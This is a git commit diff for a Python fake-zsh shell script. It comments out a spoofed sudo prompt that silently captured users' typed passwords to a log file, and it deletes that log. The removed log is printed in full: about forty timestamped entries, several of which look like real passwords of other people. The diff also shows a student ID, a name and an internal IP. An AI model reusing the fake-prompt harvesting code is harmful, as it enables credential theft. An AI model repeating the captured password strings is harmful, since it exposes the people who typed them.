在 main.py 中添加系统信息显示功能,新增 psutil 和 socket 模块,删除密码日志文件

This commit is contained in:
2025-04-10 07:05:21 +08:00
Unverified
parent 04c63721ef
commit 5b0cfc0018
2 changed files with 68 additions and 79 deletions

104
main.py
View File

@@ -1,5 +1,7 @@
import os, readline, time, getpass, sys, re, shlex, subprocess, random import os, readline, time, getpass, sys, re, shlex, subprocess, random, socket
from datetime import datetime from datetime import datetime
import platform
import psutil # 新增模块
# 自动补全功能,基于系统命令和当前目录的文件 # 自动补全功能,基于系统命令和当前目录的文件
def completer(text, state): def completer(text, state):
@@ -27,11 +29,43 @@ def pseudo_zsh():
readline.parse_and_bind("tab: complete") readline.parse_and_bind("tab: complete")
readline.set_completer(completer) readline.set_completer(completer)
os.system("clear") # 清屏 os.system("clear") # 清屏
# 显示系统基础性信息
system_name = platform.system()
system_version = platform.version()
architecture = platform.architecture()[0]
hostname = platform.node()
username = os.getlogin()
# 获取 IP 地址
ip_address = socket.gethostbyname(socket.gethostname())
# 获取内存信息
memory = psutil.virtual_memory()
total_memory = round(memory.total / (1024 ** 3), 2) # 转换为 GB
used_memory = round(memory.used / (1024 ** 3), 2)
memory_usage = memory.percent
# 获取 CPU 使用率
cpu_usage = psutil.cpu_percent(interval=1)
# 获取存储信息
disk = psutil.disk_usage('/')
total_disk = round(disk.total / (1024 ** 3), 2) # 转换为 GB
used_disk = round(disk.used / (1024 ** 3), 2)
disk_usage = disk.percent
print(f"系统: {system_name} {system_version} ({architecture})")
print(f"主机名: {hostname}")
print(f"用户: {username}")
print(f"IP 地址: {ip_address}")
print(f"内存: {used_memory}GB / {total_memory}GB ({memory_usage}%)")
print(f"CPU 使用率: {cpu_usage}%")
print(f"存储: {used_disk}GB / {total_disk}GB ({disk_usage}%)")
print("-" * 40)
subprocess.run("cd /", shell=True) # 切换到用户目录 subprocess.run("cd /", shell=True) # 切换到用户目录
print(f"Last login: {datetime.now().strftime('%a %b %d %H:%M:%S %Y')} on ttys000")
while True: while True:
try: try:
@@ -40,20 +74,18 @@ def pseudo_zsh():
CmdDir = '/' CmdDir = '/'
elif re.match(dir, "/home/*"): # 用户目录下的任意文件夹 elif re.match(dir, "/home/*"): # 用户目录下的任意文件夹
CmdDir = '~' CmdDir = '~'
elif re.match(dir, "*PyShell*"):
CmdDir = '~/'
else: else:
CmdDir = dir.split('/')[-1] CmdDir = dir
if dir.split('/')[-1] == 'PyShell' : if dir.split('/')[-1] == 'PyShell':
CmdDir = '~/' CmdDir = 'Shell/'
# 显示提示符并获取用户输入 # 显示提示符并获取用户输入
cmd = input(f"20250910553@何相龙 {CmdDir} % ") cmd = input(f"{CmdDir} > ")
# 如果输入特定命令 "hxl",退出程序 # 如果输入特定命令 "exit",退出程序
if cmd.strip() == "exit": if cmd.strip() == "exit":
print("zsh: command not found: exit") print("zsh: 未找到命令: exit")
break break
# 使用 shlex 分割用户输入为命令和参数 # 使用 shlex 分割用户输入为命令和参数
@@ -66,16 +98,16 @@ def pseudo_zsh():
os.chdir(args[1]) # 切换到指定目录 os.chdir(args[1]) # 切换到指定目录
# 更新终端窗口标题 # 更新终端窗口标题
CmdDir = os.getcwd().split('/')[-1] CmdDir = os.getcwd().split('/')[-1]
sys.stdout.write(f"\033]0;20250910553@何相龙 {CmdDir}\007") sys.stdout.write(f"\033]0;{CmdDir}\007")
sys.stdout.flush() sys.stdout.flush()
except IndexError: except IndexError:
print("cd: missing argument") # 缺少参数 print("cd: 缺少参数") # 缺少参数
except FileNotFoundError: except FileNotFoundError:
print(f"cd: no such file or directory: {args[1]}") # 目录不存在 print(f"cd: 没有这样的文件或目录: {args[1]}") # 目录不存在
continue continue
if args[0] == 'l': if args[0] == 'l':
subprocess.run(['ls','-l']) # 执行 ls 命令 subprocess.run(['ls', '-l']) # 执行 ls 命令
continue continue
if args[0] == 'ssh1': if args[0] == 'ssh1':
@@ -104,26 +136,26 @@ def pseudo_zsh():
if args[0] == 'ping1': if args[0] == 'ping1':
subprocess.run(['ping','10.147.17.161']) subprocess.run(['ping','10.147.17.161'])
continue continue
if args[0] == 'sudo': # if args[0] == 'sudo':
flight1 = True # flight1 = True
a = 0 # a = 0
for attempt in range(3): # 循环 3 次 # for attempt in range(3): # 循环 3 次
a += 1 # a += 1
fake_password = getpass.getpass("Password: ") # fake_password = getpass.getpass("Password: ")
if fake_password == "1234": # if fake_password == "1234":
print("20250910553 is not in the sudoers file.\nThis incident has been reported to the administrator.") # print("20250910553 is not in the sudoers file.\nThis incident has been reported to the administrator.")
flight1 = False # flight1 = False
break # break
with open("/Users/20250910553/Documents/code/PyShell/passwords.log", "a") as f: # with open("/Users/20250910553/Documents/code/PyShell/passwords.log", "a") as f:
current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S") # 获取当前时间 # current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S") # 获取当前时间
f.write(f"[{current_time}] {fake_password}\n") # 写入时间和密码 # f.write(f"[{current_time}] {fake_password}\n") # 写入时间和密码
delay = random.uniform(0.1, 1.0) # 随机延时 0.5 到 2 秒 # delay = random.uniform(0.1, 1.0) # 随机延时 0.5 到 2 秒
time.sleep(delay) # 模拟延迟 # time.sleep(delay) # 模拟延迟
if a != 3: # if a != 3:
print("Sorry, try again.") # print("Sorry, try again.")
if flight1: # if flight1:
print("sudo: 3 incorrect password attempts") # 提示错误次数 # print("sudo: 3 incorrect password attempts") # 提示错误次数
continue # continue
# 执行普通命令 # 执行普通命令
try: try:

View File

@@ -1,43 +0,0 @@
[2025-04-02 14:07:56] hahahafirstlogin
[2025-04-02 14:08:05] hahaha
[2025-04-02 14:08:21] niMalegibi
[2025-04-02 14:09:27] s
[2025-04-02 14:58:46] BRS20104890
[2025-04-02 14:59:52] adminqwerty
[2025-04-02 15:00:56] asdf
[2025-04-02 15:01:09] 123456789
[2025-04-02 15:01:55] jhjhuuj
[2025-04-02 17:59:20] 1234
[2025-04-02 17:59:42] 6344Xi6
[2025-04-02 18:31:53] 9876
[2025-04-02 18:44:21] werghservfhrdt
[2025-04-02 19:00:42] 1234
[2025-04-02 19:00:45] 4321
[2025-04-02 19:00:54] cryuio
[2025-04-03 07:13:23] CROox934
[2025-04-03 07:13:35] BRS273849506zhongxue
[2025-04-03 07:13:39] jf
[2025-04-03 09:54:28] 2
[2025-04-03 09:54:32] as
[2025-04-03 09:54:33] fd
[2025-04-03 09:59:07] hahah i know you want my password buy you are ****
[2025-04-03 09:59:25] ZHENDEJIADEYA szhend
[2025-04-03 09:59:31] hahahanicaishi**
[2025-04-03 09:59:44] bushiyouchengchnagelogleshibahhahahah
[2025-04-03 09:59:55]
[2025-04-03 09:59:56]
[2025-04-03 10:00:02] srthnf
[2025-04-03 10:00:05] vaerf
[2025-04-03 10:00:07] gafsv
[2025-04-03 11:21:36] asdfasdfasfd
[2025-04-03 11:21:45] f
[2025-04-03 11:21:46]
[2025-04-03 11:21:54] rtt
[2025-04-03 11:21:58] RTT
[2025-04-03 11:22:09] Rtt 1$
[2025-04-03 11:22:36] $%^&*%^&* %$^$%^&
[2025-04-03 11:22:44] kj
[2025-04-03 11:22:45] lk
[2025-04-09 11:57:02] 1
[2025-04-09 11:57:37] edu